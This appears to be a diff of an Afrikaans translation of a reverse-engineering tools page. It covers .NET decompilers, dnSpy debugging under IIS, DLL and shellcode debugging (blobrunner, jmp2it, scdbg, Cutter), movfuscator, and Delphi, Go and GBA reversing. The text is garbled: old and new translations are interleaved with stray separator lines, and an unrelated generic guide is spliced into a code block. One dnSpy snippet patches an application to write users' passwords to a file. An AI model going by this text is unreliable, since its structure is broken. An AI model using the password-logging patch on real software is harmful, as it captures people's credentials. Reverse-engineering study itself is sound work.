dotPeek is 'n ontleder wat **ontleed en ondersoek doen na verskeie formate**, insluitend **biblioteke** (.dll), **Windows-metadata-lêers** (.winmd) en **uitvoerbare lêers** (.exe). Nadat dit ontleed is, kan 'n samestelling as 'n Visual Studio-projek (.csproj) gestoor word.
|
||||
dotPeek is 'n decompiler wat **decompileer en ondersoek meervoudige formate**, insluitend **biblioteke** (.dll), **Windows-metadata-lêers** (.winmd), en **uitvoerbare lêers** (.exe). Nadat dit ontleed is, kan 'n samestelling gestoor word as 'n Visual Studio-projek (.csproj).
|
||||
|
||||
Die voordeel hiervan is dat as 'n verlore bronkode herstel moet word uit 'n ouerwetse samestelling, kan hierdie aksie tyd bespaar. Verder bied dotPeek handige navigasie deur die ontleedde kode, wat dit een van die perfekte hulpmiddels maak vir **Xamarin-algoritmeanalise.** 
|
||||
Die verdienste hier is dat as 'n verlore bronkode herstel moet word vanaf 'n ouer samestelling, kan hierdie aksie tyd bespaar. Verder bied dotPeek handige navigasie deur die ontleedde kode, wat dit een van die perfekte hulpmiddels maak vir **Xamarin-algoritmeanalise.**
|
||||
|
||||
### [.Net Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
Met 'n omvattende byvoegingsmodel en 'n API wat die hulpmiddel uitbrei om aan jou presiese behoeftes te voldoen, bespaar .NET reflector tyd en vereenvoudig ontwikkeling. Kom ons kyk na die oorvloed van omgekeerde ingenieursdienste wat hierdie hulpmiddel bied:
|
||||
Met 'n omvattende invoegmodel en 'n API wat die hulpmiddel uitbrei om by jou presiese behoeftes te pas, bespaar .NET Reflector tyd en vereenvoudig ontwikkeling. Kom ons kyk na die oorvloed van omgekeerde ingenieursdiens wat hierdie hulpmiddel bied:
|
||||
|
||||
* Gee insig in hoe die data vloei deur 'n biblioteek of komponent
|
||||
* Gee insig in die implementering en gebruik van .NET-tale en raamwerke
|
||||
* Vind ongedokumenteerde en onblootgestelde funksionaliteit om meer uit die gebruikte API's en tegnologieë te haal.
|
||||
* Gee insig in die implementering en gebruik van .NET-tale en -raamwerke
|
||||
* Vind ongedokumenteerde en onblootgestelde funksionaliteit om meer uit die gebruikte API's en tegnologieë te kry.
|
||||
* Vind afhanklikhede en verskillende samestellings
|
||||
* Spoor die presiese ligging van foute in jou kode, derdeparty-komponente en biblioteke op. 
|
||||
* Doen foutopsporing in die bron van alle .NET-kode waarmee jy werk.
|
||||
* Spoor die presiese plek van foute in jou kode, derdeparty-komponente en biblioteke af.
|
||||
* Foutopsporing in die bron van al die .NET-kode waarmee jy werk.
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[ILSpy-inprop vir Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Jy kan dit hê op enige bedryfstelsel (jy kan dit direk vanaf VSCode installeer, geen nodig om die git af te laai nie. Klik op **Extensions** en **search ILSpy**).\
|
||||
As jy moet **ontleed**, **verander** en **weer saamstel**, kan jy gebruik maak van: [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) (**Right Click -> Modify Method** om iets binne 'n funksie te verander).\
|
||||
Jy kan ook [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/) probeer.
|
||||
[ILSpy-inprop vir Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Jy kan dit hê op enige bedryfstelsel (jy kan dit direk vanaf VSCode installeer, geen nodigheid om die git af te laai nie. Klik op **Uitbreidings** en **soek ILSpy**).\
|
||||
As jy moet **decompileer**, **verander** en **herkompilieer** kan jy gebruik: [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) (**Regsklik -> Wysig Metode** om iets binne 'n funksie te verander).\
|
||||
Jy kan ook probeer [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/)
|
||||
|
||||
### DNSpy Logging
|
||||
|
||||
Om **DNSpy om sekere inligting in 'n lêer te log**, kan jy hierdie .Net-lyne gebruik:
|
||||
Om **DNSpy 'n paar inligting in 'n lêer te laat log**, kan jy hierdie .Net-lyne gebruik:
|
||||
```bash
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
File.AppendAllText(path, "Password: " + password + "\n");
|
||||
```
|
||||
### DNSpy Debuur
|
||||
### DNSpy Foutopsporing
|
||||
|
||||
Om kode te debuut met behulp van DNSpy, moet jy die volgende doen:
|
||||
Om kode te foutopspoor met DNSpy moet jy:
|
||||
|
||||
Eerstens, verander die **Monteerkenmerke** wat verband hou met **debuut**:
|
||||
Eerstens, verander die **Monteer eienskappe** wat verband hou met **foutopsporing**:
|
||||
|
||||
![](<../../.gitbook/assets/image (278).png>)
|
||||
```aspnet
|
||||
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
|
||||
```
|
||||
Aan:
|
||||
|
||||
# Reverse Engineering Tools - Basiese Metodes
|
||||
|
||||
Hierdie gids bevat 'n oorsig van basiese metodes en gereedskap wat gebruik word vir omgekeerde ingenieurswese. Hierdie metodes en gereedskap kan jou help om die werking van sagteware en hardeware te ontleed en te verstaan.
|
||||
|
||||
## Inhoudsopgawe
|
||||
|
||||
- [Wat is omgekeerde ingenieurswese?](#wat-is-omgekeerde-ingenieurswese)
|
||||
- [Basiese metodes vir omgekeerde ingenieurswese](#basiese-metodes-vir-omgekeerde-ingenieurswese)
|
||||
- [Gereedskap vir omgekeerde ingenieurswese](#gereedskap-vir-omgekeerde-ingenieurswese)
|
||||
- [Aanbevole bronne](#aanbevole-bronne)
|
||||
|
||||
## Wat is omgekeerde ingenieurswese?
|
||||
|
||||
Omgekeerde ingenieurswese is die proses om 'n produk, sagteware of hardeware te ontled en te verstaan om die interne werking daarvan te bepaal. Dit behels die ontleed van binêre kode, ontleding van algoritmes en die identifisering van funksies en datastrukture binne die program.
|
||||
|
||||
## Basiese metodes vir omgekeerde ingenieurswese
|
||||
|
||||
Hier is 'n paar basiese metodes wat gebruik word vir omgekeerde ingenieurswese:
|
||||
|
||||
- **Stap-vir-stap ontleding**: Hierdie metode behels die stapsgewyse ontleding van die program deur die kode te ontleed en die funksies en datastrukture te identifiseer.
|
||||
- **Statiese ontleding**: Hierdie metode behels die ontleding van die program sonder om dit uit te voer. Dit kan gedoen word deur die bronkode te bestudeer, die program te ontleed met behulp van gereedskap soos disassemblers en dekompilers, en die program te analiseer vir kwesbaarhede en beveiligingslekke.
|
||||
- **Dinamiese ontleding**: Hierdie metode behels die uitvoering van die program in 'n geïsoleerde omgewing en die monitering van die program se gedrag. Dit kan gedoen word deur die program te hardloop in 'n virtuele masjien of 'n debugger te gebruik om die program te ontleed terwyl dit uitgevoer word.
|
||||
- **Ontleding van netwerkverkeer**: Hierdie metode behels die ontleding van die netwerkverkeer tussen 'n toepassing en die bedieners waarmee dit kommunikeer. Dit kan gedoen word deur die netwerkverkeer te onderskep en te analiseer om inligting soos protokolle, versleuteling en data-uitruiling te verkry.
|
||||
|
||||
## Gereedskap vir omgekeerde ingenieurswese
|
||||
|
||||
Hier is 'n paar gereedskap wat gebruik kan word vir omgekeerde ingenieurswese:
|
||||
|
||||
- **Disassemblers**: Hierdie gereedskap ontleed die masjienkode van 'n program en vertaal dit na leesbare instruksies.
|
||||
- **Dekompilers**: Hierdie gereedskap ontleed die uitvoerbare kode van 'n program en vertaal dit na bronkode.
|
||||
- **Debugger**: Hierdie gereedskap maak dit moontlik om 'n program te ontleed terwyl dit uitgevoer word deur die program stap vir stap te deurloop en die waardes van veranderlikes en geheue-adresse te ondersoek.
|
||||
- **Ontleders vir netwerkverkeer**: Hierdie gereedskap maak dit moontlik om die netwerkverkeer tussen 'n toepassing en die bedieners te ontleed en te analiseer.
|
||||
|
||||
## Aanbevole bronne
|
||||
|
||||
Hier is 'n paar aanbevole bronne vir verdere studie oor omgekeerde ingenieurswese:
|
||||
|
||||
- [Reverse Engineering for Beginners](https://beginners.re/RE4B-EN.pdf)
|
||||
- [Practical Reverse Engineering](https://www.amazon.com/Practical-Reverse-Engineering-Reversing-Obfuscation/dp/1118787315)
|
||||
- [Reverse Engineering Stack Exchange](https://reverseengineering.stackexchange.com/)
|
||||
```
|
||||
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
|
||||
DebuggableAttribute.DebuggingModes.DisableOptimizations |
|
||||
|
@ -136,35 +87,35 @@ En klik op **kompilasie**:
|
|||
|
||||
![](<../../.gitbook/assets/image (314) (1) (1).png>)
|
||||
|
||||
Stoor dan die nuwe lêer op _**Lêer >> Stoor module...**_:
|
||||
Berg dan die nuwe lêer op _**Lêer >> Berg module op...**_:
|
||||
|
||||
![](<../../.gitbook/assets/image (279).png>)
|
||||
|
||||
Dit is nodig omdat as jy dit nie doen nie, sal verskeie **optimalisering** op die kode by **uitvoering** toegepas word en dit moontlik wees dat 'n **breekpunt nooit getref word** of sommige **veranderlikes nie bestaan nie**.
|
||||
Dit is noodsaaklik omdat as jy dit nie doen nie, sal verskeie **optimiserings** tydens **uitvoering** op die kode toegepas word en dit moontlik wees dat tydens die **foutopsporing** 'n **afkap-punt nooit bereik** word of sommige **veranderlikes nie bestaan nie**.
|
||||
|
||||
Dan, as jou .Net-toepassing deur **IIS** uitgevoer word, kan jy dit **herlaai** met:
|
||||
Dan, as jou .Net-toepassing deur **IIS** **uitgevoer** word, kan jy dit **herlaai** met:
|
||||
```
|
||||
iisreset /noforce
|
||||
```
|
||||
Daarna, om te begin met debuggen, moet jy alle geopende lêers sluit en binne die **Debug Tab** kies **Attach to Process...**:
|
||||
Dan, om te begin met die foutopsporing moet jy al die geopende lêers sluit en binne die **Foutopsporing Tab** kies **Heg aan Proses...**:
|
||||
|
||||
![](<../../.gitbook/assets/image (280).png>)
|
||||
|
||||
Kies dan **w3wp.exe** om aan die **IIS-bediener** te heg en klik op **attach**:
|
||||
Kies dan **w3wp.exe** om aan die **IIS-bediener** te heg en klik **heg**:
|
||||
|
||||
![](<../../.gitbook/assets/image (281).png>)
|
||||
|
||||
Nou dat ons die proses aan die debuggen is, is dit tyd om dit te stop en al die modules te laai. Klik eers op _Debug >> Break All_ en dan klik op _**Debug >> Windows >> Modules**_:
|
||||
Nou dat ons die proses foutopsporing, is dit tyd om dit te stop en al die modules te laai. Klik eers op _Foutopsporing >> Breek Alles_ en dan klik op _**Foutopsporing >> Vensters >> Modules**_:
|
||||
|
||||
![](<../../.gitbook/assets/image (286).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (283).png>)
|
||||
|
||||
Klik enige module op **Modules** en kies **Open All Modules**:
|
||||
Klik op enige module op **Modules** en kies **Open Alle Modules**:
|
||||
|
||||
![](<../../.gitbook/assets/image (284).png>)
|
||||
|
||||
Regskliek enige module in **Assembly Explorer** en kies **Sort Assemblies**:
|
||||
Regsklik op enige module in **Monteerder Verkenner** en klik **Sorteer Monteerders**:
|
||||
|
||||
![](<../../.gitbook/assets/image (285).png>)
|
||||
|
||||
|
@ -173,38 +124,38 @@ Regskliek enige module in **Assembly Explorer** en kies **Sort Assemblies**:
|
|||
[https://github.com/skylot/jadx](https://github.com/skylot/jadx)\
|
||||
[https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases)
|
||||
|
||||
## Debugging DLLs
|
||||
## Foutopsporing DLLs
|
||||
|
||||
### Met behulp van IDA
|
||||
### Gebruik van IDA
|
||||
|
||||
* **Laai rundll32** (64-bits in C:\Windows\System32\rundll32.exe en 32-bits in C:\Windows\SysWOW64\rundll32.exe)
|
||||
* Kies **Windbg** debugger
|
||||
* Kies "**Suspend on library load/unload**"
|
||||
* Kies **Windbg** foutopsporer
|
||||
* Kies "**Onderbreek by biblioteek laai/ontlaai**"
|
||||
|
||||
![](<../../.gitbook/assets/image (135).png>)
|
||||
|
||||
* Stel die **parameters** van die uitvoering in deur die **pad na die DLL** en die funksie wat jy wil oproep, in te voer:
|
||||
* Stel die **parameters** van die uitvoering in deur die **pad na die DLL** en die funksie wat jy wil roep:
|
||||
|
||||
![](<../../.gitbook/assets/image (136).png>)
|
||||
|
||||
Dan, wanneer jy begin met debuggen, sal die uitvoering gestop word wanneer elke DLL gelaai word. Wanneer rundll32 jou DLL laai, sal die uitvoering gestop word.
|
||||
Dan, wanneer jy begin met die foutopsporing, sal die uitvoering gestop word wanneer elke DLL gelaai word, dan, wanneer rundll32 jou DLL laai, sal die uitvoering gestop word.
|
||||
|
||||
Maar, hoe kan jy by die kode van die DLL kom wat gelaai is? Met hierdie metode weet ek nie hoe nie.
|
||||
Maar, hoe kan jy by die kode van die DLL wat gelaai is, kom? Met hierdie metode, weet ek nie hoe nie.
|
||||
|
||||
### Met behulp van x64dbg/x32dbg
|
||||
### Gebruik van x64dbg/x32dbg
|
||||
|
||||
* **Laai rundll32** (64-bits in C:\Windows\System32\rundll32.exe en 32-bits in C:\Windows\SysWOW64\rundll32.exe)
|
||||
* **Verander die opdraglyn** ( _File --> Change Command Line_ ) en stel die pad van die dll en die funksie wat jy wil oproep, byvoorbeeld: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* Verander _Options --> Settings_ en kies "**DLL Entry**".
|
||||
* Begin dan met die uitvoering, die debugger sal by elke dll hoof stop, op 'n punt sal jy stop in die dll Entry van jou dll. Van daar af, soek net na die punte waar jy 'n breekpunt wil plaas.
|
||||
* **Verander die Opdraglyn** ( _Lêer --> Verander Opdraglyn_ ) en stel die pad van die dll en die funksie wat jy wil roep in, byvoorbeeld: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* Verander _Opsies --> Instellings_ en kies "**DLL Inskrywing**".
|
||||
* Begin dan die uitvoering, die foutopsporer sal by elke dll-hoof stop, op 'n stadium sal jy **stop in die dll Inskrywing van jou dll**. Van daar af, soek net na die punte waar jy 'n breekpunt wil plaas.
|
||||
|
||||
Let daarop dat wanneer die uitvoering om enige rede in win64dbg gestop word, kan jy sien **in watter kode jy is** deur na die **bo-kant van die win64dbg-venster** te kyk:
|
||||
Let daarop dat wanneer die uitvoering om enige rede in win64dbg gestop word, kan jy sien **in watter kode jy is** deur na die **bo van die win64dbg-venster** te kyk:
|
||||
|
||||
![](<../../.gitbook/assets/image (137).png>)
|
||||
|
||||
Dan kan jy sien wanneer die uitvoering gestop is in die dll wat jy wil debug.
|
||||
Dan, deur na hierdie te kyk, kan jy sien wanneer die uitvoering in die dll wat jy wil foutopspoor, gestop is.
|
||||
|
||||
## GUI-programme / Videospelletjies
|
||||
## GUI-toepassings / Videospelletjies
|
||||
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) is 'n nuttige program om te vind waar belangrike waardes binne die geheue van 'n lopende spel gestoor word en om hulle te verander. Meer inligting in:
|
||||
|
||||
|
@ -218,48 +169,48 @@ Dan kan jy sien wanneer die uitvoering gestop is in die dll wat jy wil debug.
|
|||
|
||||
## Shellkodes
|
||||
|
||||
### Debugging van 'n shellkode met blobrunner
|
||||
### Foutopsporing van 'n shellkode met blobrunner
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) sal die **shellkode** toewys binne 'n geheue-ruimte, sal jou die **geheue-adres** waar die shellkode toegewys is, aandui en die uitvoering **stop**.\
|
||||
Dan moet jy 'n debugger (Ida of x64dbg) aan die proses heg en 'n breekpunt by die aangeduide geheue-adres plaas en die uitvoering hervat. Op hierdie manier sal jy die shellkode debug.
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) sal die **shellkode** binne 'n spasie van geheue toewys, sal jou die **geheue-adres** aandui waar die shellkode toegewys is en sal die uitvoering **stop**.\
|
||||
Dan moet jy 'n foutopsporer (Ida of x64dbg) aan die proses heg en 'n **breekpunt by die aangeduide geheue-adres** plaas en die uitvoering **hervat**. Op hierdie manier sal jy die shellkode foutopspoor.
|
||||
|
||||
Die github-bladsy met vrylatings bevat zip-lêers wat die saamgestelde vrylatings bevat: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Jy kan 'n effens gewysigde weergawe van Blobrunner in die volgende skakel vind. Om dit saam te stel, skep net 'n C/C++-projek in Visual Studio Code, kopieer en plak die kode en bou dit.
|
||||
Die vrystellings github-bladsy bevat zip-lêers wat die saamgestelde vrystellings bevat: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Jy kan 'n effens gewysigde weergawe van Blobrunner vind in die volgende skakel. Om dit saam te stel, skep net 'n C/C++-projek in Visual Studio Code, kopieer en plak die kode en bou dit.
|
||||
|
||||
{% content-ref url="blobrunner.md" %}
|
||||
[blobrunner.md](blobrunner.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Debugging van 'n shellkode met jmp2it
|
||||
### Foutopsporing van 'n shellkode met jmp2it
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)is baie soortgelyk aan blobrunner. Dit sal die **shellkode** toewys binne 'n geheue-ruimte en 'n **ewige lus** begin. Jy moet dan die debugger aan die proses heg, begin speel, 2-5 sekondes wag en stop druk, en jy sal jouself binne die **ewige lus** bevind. Spring na die volgende instruksie van die ewige lus, want dit sal 'n oproep na die shellkode wees, en uiteindelik sal jy die shellkode uitvoer.
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) is baie soortgelyk aan blobrunner. Dit sal die **shellkode** binne 'n spasie van geheue toewys en 'n **ewige lus** begin. Jy moet dan die foutopsporer aan die proses heg, **begin speel wag 2-5 sekondes en druk stop** en jy sal jouself binne die **ewige lus** vind. Spring na die volgende instruksie van die ewige lus aangesien dit 'n oproep na die shellkode sal wees, en uiteindelik sal jy vind dat jy die shellkode uitvoer.
|
||||
|
||||
![](<../../.gitbook/assets/image (397).png>)
|
||||
|
||||
Jy kan 'n saamgestelde weergawe van [jmp2it binne die vrylatingsbladsy aflaai](https://github.com/adamkramer/jmp2it/releases/).
|
||||
Jy kan 'n saamgestelde weergawe van [jmp2it binne die vrystellingsbladsy aflaai](https://github.com/adamkramer/jmp2it/releases/).
|
||||
|
||||
### Debugging van shellkode met Cutter
|
||||
### Foutopsporing van 'n shellkode met Cutter
|
||||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) is die GUI van radare. Met cutter kan jy die shellkode emuleer en dit dinamies ondersoek.
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) is die GUI van radare. Met cutter kan jy die shellkode emuleer en dit dinamies inspekteer.
|
||||
|
||||
Let daarop dat Cutter jou toelaat om "Open File" en "Open Shellcode" te doen. In my geval, toe ek die shellkode as 'n lêer oopgemaak het, het dit dit korrek ontleed, maar toe ek dit as 'n shellkode oopgemaak het, het dit nie:
|
||||
Let daarop dat Cutter jou toelaat om "Lêer Oop te maak" en "Shellkode Oop te maak". In my geval, toe ek die shellkode as 'n lêer oopgemaak het, het dit dit korrek ontsluit, maar toe ek dit as 'n shellkode oopgemaak het, het dit nie:
|
||||
|
||||
![](<../../.gitbook/assets/image (400).png>)
|
||||
|
||||
Om die emulasie te begin op die plek waar jy wil, stel 'n bp daar en blykbaar sal cutter outomaties die emulasie daar begin:
|
||||
Om die emulasie te begin op die plek waar jy wil, stel 'n bp daar en blykbaar sal cutter outomaties die emulasie van daar begin:
|
||||
|
||||
![](<../../.gitbook/assets/image (399).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (401).png>)
|
||||
|
||||
Jy kan byvoorbeeld die stapel sien binne 'n heksdump:
|
||||
Jy kan die stoor byvoorbeeld sien binne 'n heksdump:
|
||||
|
||||
![](<../../.gitbook/assets/image (402).png>)
|
||||
|
||||
### Ontmaskering van shellkode en verkryging van uitgevoerde funksies
|
||||
### Ontsleuteling van shellkode en verkryging van uitgevoerde funksies
|
||||
|
||||
Jy moet [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152) probeer.\
|
||||
Dit sal jou dinge vertel soos **watter funksies** die shellkode gebruik en of die shellkode self in die geheue ontsluit word.
|
||||
Dit sal jou dinge soos **watter funksies** die shellkode gebruik en of die shellkode in geheue **ontsleutel**.
|
||||
```bash
|
||||
scdbg.exe -f shellcode # Get info
|
||||
scdbg.exe -f shellcode -r #show analysis report at end of run
|
||||
|
@ -268,24 +219,24 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
|
|||
scdbg.exe -f shellcode /findsc #Find offset where starts
|
||||
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
|
||||
```
|
||||
scDbg tel ook 'n grafiese launcher waar jy die opsies kan kies wat jy wil en die shellcode kan uitvoer.
|
||||
scDbg het ook 'n grafiese lêer waar jy die opsies wat jy wil kies en die shellcode kan uitvoer
|
||||
|
||||
![](<../../.gitbook/assets/image (398).png>)
|
||||
|
||||
Die **Create Dump** opsie sal die finale shellcode dump as daar enige verandering aan die shellcode dinamies in die geheue gedoen word (nuttig om die gedekodeerde shellcode af te laai). Die **start offset** kan nuttig wees om die shellcode te begin by 'n spesifieke offset. Die **Debug Shell** opsie is nuttig om die shellcode te debug met behulp van die scDbg-terminal (ek vind egter enige van die opsies wat voorheen verduidelik is beter vir hierdie doel, omdat jy Ida of x64dbg kan gebruik).
|
||||
Die **Skep Dump**-opsie sal die finale shellcode dump as enige verandering aan die shellcode dinamies in die geheue gedoen word (nuttig om die gedekodeerde shellcode af te laai). Die **begin offset** kan nuttig wees om die shellcode by 'n spesifieke offset te begin. Die **Debug Shell**-opsie is nuttig om die shellcode te debug deur die scDbg-terminal te gebruik (ek vind egter enige van die opsies wat voorheen verduidelik is beter vir hierdie doel omdat jy Ida of x64dbg kan gebruik).
|
||||
|
||||
### Disassembling met behulp van CyberChef
|
||||
### Ontskeur met CyberChef
|
||||
|
||||
Laai jou shellcode-lêer as insette op en gebruik die volgende resep om dit te dekomponeer: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
|
||||
|
||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||
|
||||
Hierdie obfuscator **verander alle instruksies vir `mov`** (ja, regtig cool). Dit gebruik ook onderbrekings om uitvoervloeie te verander. Vir meer inligting oor hoe dit werk:
|
||||
Hierdie ontwikkelaar **verander al die instruksies vir `mov`**(ja, regtig cool). Dit maak ook gebruik van onderbrekings om uitvoervloeie te verander. Vir meer inligting oor hoe dit werk:
|
||||
|
||||
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
|
||||
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
|
||||
|
||||
As jy gelukkig is, sal [demovfuscator](https://github.com/kirschju/demovfuscator) die binêre kode ontsluier. Dit het verskeie afhanklikhede.
|
||||
As jy gelukkig is, sal [demovfuscator ](https://github.com/kirschju/demovfuscator)die binêre lêer ontskeur. Dit het verskeie afhanklikhede
|
||||
```
|
||||
apt-get install libcapstone-dev
|
||||
apt-get install libz3-dev
|
||||
|
@ -294,47 +245,38 @@ En [installeer keystone](https://github.com/keystone-engine/keystone/blob/master
|
|||
|
||||
As jy 'n **CTF speel, kan hierdie omweg om die vlag te vind** baie nuttig wees: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Rust
|
||||
|
||||
Om die **inskakelpunt** te vind, soek die funksies deur `::main` soos in:
|
||||
Om die **inskryfpunt** te vind, soek vir die funksies deur `::main` soos in:
|
||||
|
||||
![](<../../.gitbook/assets/image (612).png>)
|
||||
|
||||
In hierdie geval is die binêre lêernaam authenticator, so dit is redelik duidelik dat dit die interessante hooffunksie is.\
|
||||
Met die **naam** van die **funksies** wat aangeroep word, soek na hulle op die **Internet** om meer te leer oor hul **inskrywings** en **uitsette**.
|
||||
In hierdie geval is die binêre lêer genoem authenticator, so dit is redelik duidelik dat dit die interessante hooffunksie is.\
|
||||
Met die **naam** van die **funksies** wat opgeroep word, soek vir hulle op die **Internet** om meer te leer oor hul **insette** en **uitsette**.
|
||||
|
||||
## **Delphi**
|
||||
|
||||
Vir Delphi gekompileerde binêre lêers kan jy [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR) gebruik
|
||||
Vir Delphi saamgestelde binêre lêers kan jy [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR) gebruik
|
||||
|
||||
As jy 'n Delphi binêre lêer moet omkeer, sal ek voorstel dat jy die IDA-inprop [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi) gebruik
|
||||
|
||||
Druk net **ATL+f7** (voer Python-inprop in IDA in) en kies die Python-inprop.
|
||||
Druk net **ATL+f7** (import python inprop in IDA) en kies die python inprop.
|
||||
|
||||
Hierdie inprop sal die binêre lêer uitvoer en funksienames dinamies oplos aan die begin van die foutopsporing. Druk na die begin van die foutopsporing weer die Begin-knoppie (die groen een of f9) en 'n breekpunt sal tref aan die begin van die regte kode.
|
||||
Hierdie inprop sal die binêre lêer uitvoer en funksienames dinamies oplos aan die begin van die foutopsporing. Nadat jy die foutopsporing begin het, druk weer op die Begin-knoppie (die groen een of f9) en 'n breekpunt sal tref aan die begin van die werklike kode.
|
||||
|
||||
Dit is ook baie interessant omdat as jy 'n knoppie in die grafiese toepassing druk, sal die foutopspoorprogram in die funksie stop wat deur daardie knoppie uitgevoer word.
|
||||
Dit is ook baie interessant omdat as jy 'n knoppie in die grafiese aansoek druk, sal die foutopspoorprogram in die funksie stop wat deur daardie knoppie uitgevoer word.
|
||||
|
||||
## Golang
|
||||
|
||||
As jy 'n Golang binêre lêer moet omkeer, sal ek voorstel dat jy die IDA-inprop [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper) gebruik
|
||||
|
||||
Druk net **ATL+f7** (voer Python-inprop in IDA in) en kies die Python-inprop.
|
||||
Druk net **ATL+f7** (import python inprop in IDA) en kies die python inprop.
|
||||
|
||||
Dit sal die name van die funksies oplos.
|
||||
|
||||
## Gekompileerde Python
|
||||
## Saamgestelde Python
|
||||
|
||||
Op hierdie bladsy kan jy vind hoe om die Python-kode uit 'n ELF/EXE Python-gekompileerde binêre lêer te kry:
|
||||
Op hierdie bladsy kan jy vind hoe om die python-kode te kry van 'n ELF/EXE python saamgestelde binêre lêer:
|
||||
|
||||
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
|
@ -342,7 +284,7 @@ Op hierdie bladsy kan jy vind hoe om die Python-kode uit 'n ELF/EXE Python-gekom
|
|||
|
||||
## GBA - Game Body Advance
|
||||
|
||||
As jy die **binêre lêer** van 'n GBA-spel kry, kan jy verskillende hulpmiddels gebruik om dit te **emuleer** en **foutopsporing** daarop uit te voer:
|
||||
As jy die **binêre** van 'n GBA-speletjie kry, kan jy verskillende gereedskap gebruik om dit te **emuleer** en **foutopsporing**:
|
||||
|
||||
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Laai die foutopsporingsweergawe af_) - Bevat 'n foutopspoorprogram met 'n koppelvlak
|
||||
* [**mgba** ](https://mgba.io)- Bevat 'n CLI-foutopspoorprogram
|
||||
|
@ -366,13 +308,13 @@ DOWN = 128
|
|||
R = 256
|
||||
L = 256
|
||||
```
|
||||
So, in hierdie tipe programme, sal die interessante deel wees **hoe die program die gebruiker se insette hanteer**. In die adres **0x4000130** sal jy die algemeen gevonde funksie vind: **KEYINPUT.**
|
||||
So, in hierdie soort programme, sal 'n interessante deel wees **hoe die program die gebruiker se insette hanteer**. In die adres **0x4000130** sal jy die algemeen gevonde funksie vind: **KEYINPUT.**
|
||||
|
||||
![](<../../.gitbook/assets/image (579).png>)
|
||||
|
||||
In die vorige prentjie kan jy sien dat die funksie geroep word vanaf **FUN\_080015a8** (adres: _0x080015fa_ en _0x080017ac_).
|
||||
In die vorige beeld kan jy sien dat die funksie geroep word vanaf **FUN\_080015a8** (adresse: _0x080015fa_ en _0x080017ac_).
|
||||
|
||||
In daardie funksie, na 'n paar inisialisasie-operasies (sonder enige belangrikheid):
|
||||
In daardie funksie, na 'n paar inisialiseringsoperasies (sonder enige belang):
|
||||
```c
|
||||
void FUN_080015a8(void)
|
||||
|
||||
|
@ -393,7 +335,7 @@ FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc);
|
|||
